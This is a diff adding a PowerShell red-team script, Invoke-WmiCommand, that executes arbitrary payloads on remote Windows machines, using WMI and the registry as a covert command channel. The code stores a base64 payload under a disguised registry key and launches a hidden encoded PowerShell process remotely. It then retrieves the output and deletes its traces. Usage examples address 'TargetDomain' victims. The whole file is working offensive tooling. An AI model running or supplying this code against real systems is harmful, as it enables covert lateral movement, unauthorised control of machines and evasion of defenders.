|
| 1 | +#Requires -Version 2 |
| 2 | + |
| 3 | +function Invoke-WmiCommand { |
| 4 | +<# |
| 5 | +.SYNOPSIS |
| 6 | +
|
| 7 | +Executes a PowerShell ScriptBlock on a target computer using WMI as a |
| 8 | +pure C2 channel. |
| 9 | +
|
| 10 | +Author: Matthew Graeber |
| 11 | +License: BSD 3-Clause |
| 12 | +Required Dependencies: None |
| 13 | +Optional Dependencies: None |
| 14 | +
|
| 15 | +.DESCRIPTION |
| 16 | +
|
| 17 | +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target |
| 18 | +computer using WMI as a pure C2 channel. It does this by using the |
| 19 | +StdRegProv WMI registry provider methods to store a payload into a |
| 20 | +registry value. The command is then executed on the victim system and |
| 21 | +the output is stored in another registry value that is then retrieved |
| 22 | +remotely. |
| 23 | +
|
| 24 | +.PARAMETER Payload |
| 25 | +
|
| 26 | +Specifies the payload to be executed on the remote system. |
| 27 | +
|
| 28 | +.PARAMETER RegistryKeyPath |
| 29 | +
|
| 30 | +Specifies the registry key where the payload and payload output will |
| 31 | +be stored. |
| 32 | +
|
| 33 | +.PARAMETER RegistryPayloadValueName |
| 34 | +
|
| 35 | +Specifies the registry value name where the payload will be stored. |
| 36 | +
|
| 37 | +.PARAMETER RegistryResultValueName |
| 38 | +
|
| 39 | +Specifies the registry value name where the payload output will be |
| 40 | +stored. |
| 41 | +
|
| 42 | +.PARAMETER ComputerName |
| 43 | +
|
| 44 | +Runs the command on the specified computers. The default is the local |
| 45 | +computer. |
| 46 | +
|
| 47 | +Type the NetBIOS name, an IP address, or a fully qualified domain |
| 48 | +name of one or more computers. To specify the local computer, type |
| 49 | +the computer name, a dot (.), or "localhost". |
| 50 | +
|
| 51 | +This parameter does not rely on Windows PowerShell remoting. You can |
| 52 | +use the ComputerName parameter even if your computer is not |
| 53 | +configured to run remote commands. |
| 54 | +
|
| 55 | +.PARAMETER Credential |
| 56 | +
|
| 57 | +Specifies a user account that has permission to perform this action. |
| 58 | +The default is the current user. Type a user name, such as "User01", |
| 59 | +"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential |
| 60 | +object, such as an object that is returned by the Get-Credential |
| 61 | +cmdlet. When you type a user name, you will be prompted for a |
| 62 | +password. |
| 63 | +
|
| 64 | +.PARAMETER Impersonation |
| 65 | +
|
| 66 | +Specifies the impersonation level to use. Valid values are: |
| 67 | +
|
| 68 | +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) |
| 69 | +
|
| 70 | +1: Anonymous (Hides the credentials of the caller.) |
| 71 | +
|
| 72 | +2: Identify (Allows objects to query the credentials of the caller.) |
| 73 | +
|
| 74 | +3: Impersonate (Allows objects to use the credentials of the caller.) |
| 75 | +
|
| 76 | +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) |
| 77 | +
|
| 78 | +.PARAMETER Authentication |
| 79 | +
|
| 80 | +Specifies the authentication level to be used with the WMI connection. Valid values are: |
| 81 | +
|
| 82 | +-1: Unchanged |
| 83 | +
|
| 84 | +0: Default |
| 85 | +
|
| 86 | +1: None (No authentication in performed.) |
| 87 | +
|
| 88 | +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) |
| 89 | +
|
| 90 | +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) |
| 91 | +
|
| 92 | +4: Packet (Authentication is performed on all the data that is received from the client.) |
| 93 | +
|
| 94 | +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) |
| 95 | +
|
| 96 | +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) |
| 97 | +
|
| 98 | +.PARAMETER EnableAllPrivileges |
| 99 | +
|
| 100 | +Enables all the privileges of the current user before the command |
| 101 | +makes the WMI call. |
| 102 | +
|
| 103 | +.PARAMETER Authority |
| 104 | +
|
| 105 | +Specifies the authority to use to authenticate the WMI connection. |
| 106 | +You can specify standard NTLM or Kerberos authentication. To use |
| 107 | +NTLM, set the authority setting to ntlmdomain:<DomainName>, where |
| 108 | +<DomainName> identifies a valid NTLM domain name. To use Kerberos, |
| 109 | +specify kerberos:<DomainName\ServerName>. You cannot include the |
| 110 | +authority setting when you connect to the local computer. |
| 111 | +
|
| 112 | +.EXAMPLE |
| 113 | +
|
| 114 | +PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' |
| 115 | +
|
| 116 | +.EXAMPLE |
| 117 | +
|
| 118 | +PS C:\>$Hosts = Get-Content hostnames.txt |
| 119 | +PS C:\>$Payload = Get-Content payload.ps1 |
| 120 | +PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser' |
| 121 | +PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential |
| 122 | +
|
| 123 | +.EXAMPLE |
| 124 | +
|
| 125 | +PS C:\>$Payload = Get-Content payload.ps1 |
| 126 | +PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' |
| 127 | +
|
| 128 | +.EXAMPLE |
| 129 | +
|
| 130 | +PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose |
| 131 | +
|
| 132 | +.INPUTS |
| 133 | +
|
| 134 | +System.String[] |
| 135 | +
|
| 136 | +Accepts one or more host names/IP addresses over the pipeline. |
| 137 | +
|
| 138 | +.OUTPUTS |
| 139 | +
|
| 140 | +System.Management.Automation.PSObject |
| 141 | +
|
| 142 | +Outputs a custom object consisting of the target computer name and |
| 143 | +the output of the command executed. |
| 144 | +
|
| 145 | +.NOTES |
| 146 | +
|
| 147 | +In order to receive the output from your payload, it must return |
| 148 | +actual objects. For example, Write-Host doesn't return objects |
| 149 | +rather, it writes directly to the console. If you're using |
| 150 | +Write-Host in your scripts though, you probably don't deserve to get |
| 151 | +the output of your payload back. :P |
| 152 | +#> |
| 153 | + |
| 154 | + [CmdletBinding()] |
| 155 | + Param ( |
| 156 | + [Parameter( Mandatory = $True )] |
| 157 | + [ScriptBlock] |
| 158 | + $Payload, |
| 159 | + |
| 160 | + [String] |
| 161 | + [ValidateSet( 'HKEY_LOCAL_MACHINE', |
| 162 | + 'HKEY_CURRENT_USER', |
| 163 | + 'HKEY_CLASSES_ROOT', |
| 164 | + 'HKEY_USERS', |
| 165 | + 'HKEY_CURRENT_CONFIG' )] |
| 166 | + $RegistryHive = 'HKEY_CURRENT_USER', |
| 167 | + |
| 168 | + [String] |
| 169 | + [ValidateNotNullOrEmpty()] |
| 170 | + $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG', |
| 171 | + |
| 172 | + [String] |
| 173 | + [ValidateNotNullOrEmpty()] |
| 174 | + $RegistryPayloadValueName = 'Seed', |
| 175 | + |
| 176 | + [String] |
| 177 | + [ValidateNotNullOrEmpty()] |
| 178 | + $RegistryResultValueName = 'Value', |
| 179 | + |
| 180 | + [Parameter( ValueFromPipeline = $True )] |
| 181 | + [Alias('Cn')] |
| 182 | + [String[]] |
| 183 | + [ValidateNotNullOrEmpty()] |
| 184 | + $ComputerName = 'localhost', |
| 185 | + |
| 186 | + [Management.Automation.PSCredential] |
| 187 | + [Management.Automation.CredentialAttribute()] |
| 188 | + $Credential, |
| 189 | + |
| 190 | + [Management.ImpersonationLevel] |
| 191 | + $Impersonation, |
| 192 | + |
| 193 | + [System.Management.AuthenticationLevel] |
| 194 | + $Authentication, |
| 195 | + |
| 196 | + [Switch] |
| 197 | + $EnableAllPrivileges, |
| 198 | + |
| 199 | + [String] |
| 200 | + $Authority |
| 201 | + ) |
| 202 | + |
| 203 | + BEGIN { |
| 204 | + switch ($RegistryHive) { |
| 205 | + 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 } |
| 206 | + 'HKEY_CURRENT_USER' { $Hive = 2147483649 } |
| 207 | + 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 } |
| 208 | + 'HKEY_USERS' { $Hive = 2147483651 } |
| 209 | + 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } |
| 210 | + } |
| 211 | + |
| 212 | + $WmiMethodArgs = @{} |
| 213 | + |
| 214 | + # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod |
| 215 | + if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } |
| 216 | + if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } |
| 217 | + if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } |
| 218 | + if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } |
| 219 | + if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } |
| 220 | + |
| 221 | + $AccessPermissions = @{ |
| 222 | + KEY_QUERY_VALUE = 1 |
| 223 | + KEY_SET_VALUE = 2 |
| 224 | + KEY_CREATE_SUB_KEY = 4 |
| 225 | + KEY_CREATE = 32 |
| 226 | + DELETE = 65536 |
| 227 | + } |
| 228 | + |
| 229 | + # These are all of the registry permissions we'll require |
| 230 | + $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor |
| 231 | + $AccessPermissions['KEY_SET_VALUE'] -bor |
| 232 | + $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor |
| 233 | + $AccessPermissions['KEY_CREATE'] -bor |
| 234 | + $AccessPermissions['DELETE'] |
| 235 | + } |
| 236 | + |
| 237 | + PROCESS { |
| 238 | + foreach ($Computer in $ComputerName) { |
| 239 | + # Pass the individual computer name to Invoke-WmiMethod |
| 240 | + $WmiMethodArgs['ComputerName'] = $Computer |
| 241 | + |
| 242 | + Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath" |
| 243 | + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath |
| 244 | + |
| 245 | + if ($Result.ReturnValue -ne 0) { |
| 246 | + throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath" |
| 247 | + } |
| 248 | + |
| 249 | + Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath" |
| 250 | + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions |
| 251 | + |
| 252 | + if (-not $Result.bGranted) { |
| 253 | + throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." |
| 254 | + } |
| 255 | + |
| 256 | + $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) |
| 257 | + |
| 258 | + Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" |
| 259 | + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName |
| 260 | + |
| 261 | + if ($Result.ReturnValue -ne 0) { |
| 262 | + throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" |
| 263 | + } |
| 264 | + |
| 265 | + # Prep the script runner payload from the remote system |
| 266 | + $PayloadRunnerArgs = @" |
| 267 | + `$Hive = '$Hive' |
| 268 | + `$RegistryKeyPath = '$RegistryKeyPath' |
| 269 | + `$RegistryPayloadValueName = '$RegistryPayloadValueName' |
| 270 | + `$RegistryResultValueName = '$RegistryResultValueName' |
| 271 | + `n |
| 272 | +"@ |
| 273 | + |
| 274 | + $RemotePayloadRunner = $PayloadRunnerArgs + { |
| 275 | + $WmiMethodArgs = @{ |
| 276 | + Namespace = 'Root\default' |
| 277 | + Class = 'StdRegProv' |
| 278 | + } |
| 279 | + |
| 280 | + $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName |
| 281 | + |
| 282 | + if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { |
| 283 | + $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) |
| 284 | + |
| 285 | + $SerilizedPayloadResult = Invoke-Expression ($Payload) | % { |
| 286 | + [Management.Automation.PSSerializer]::Serialize($_, 4) |
| 287 | + } |
| 288 | + |
| 289 | + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName |
| 290 | + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName |
| 291 | + } |
| 292 | + } |
| 293 | + |
| 294 | + $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) |
| 295 | + |
| 296 | + $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" |
| 297 | + |
| 298 | + # Execute the payload runner on the remote system |
| 299 | + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline |
| 300 | + |
| 301 | + Start-Sleep -Seconds 5 |
| 302 | + |
| 303 | + if ($Result.ReturnValue -ne 0) { |
| 304 | + throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" |
| 305 | + } |
| 306 | + |
| 307 | + Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" |
| 308 | + |
| 309 | + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName |
| 310 | + |
| 311 | + if ($Result.ReturnValue -ne 0) { |
| 312 | + throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" |
| 313 | + } |
| 314 | + |
| 315 | + Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" |
| 316 | + |
| 317 | + $SerilizedPayloadResult = $Result.sValue |
| 318 | + $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult) |
| 319 | + |
| 320 | + $FinalResult = New-Object PSObject -Property @{ |
| 321 | + PSComputerName = $Computer |
| 322 | + PayloadOutput = $PayloadResult |
| 323 | + } |
| 324 | + |
| 325 | + Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" |
| 326 | + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName |
| 327 | + |
| 328 | + Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath" |
| 329 | + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath |
| 330 | + |
| 331 | + return $FinalResult |
| 332 | + } |
| 333 | + } |
| 334 | +} |
0 commit comments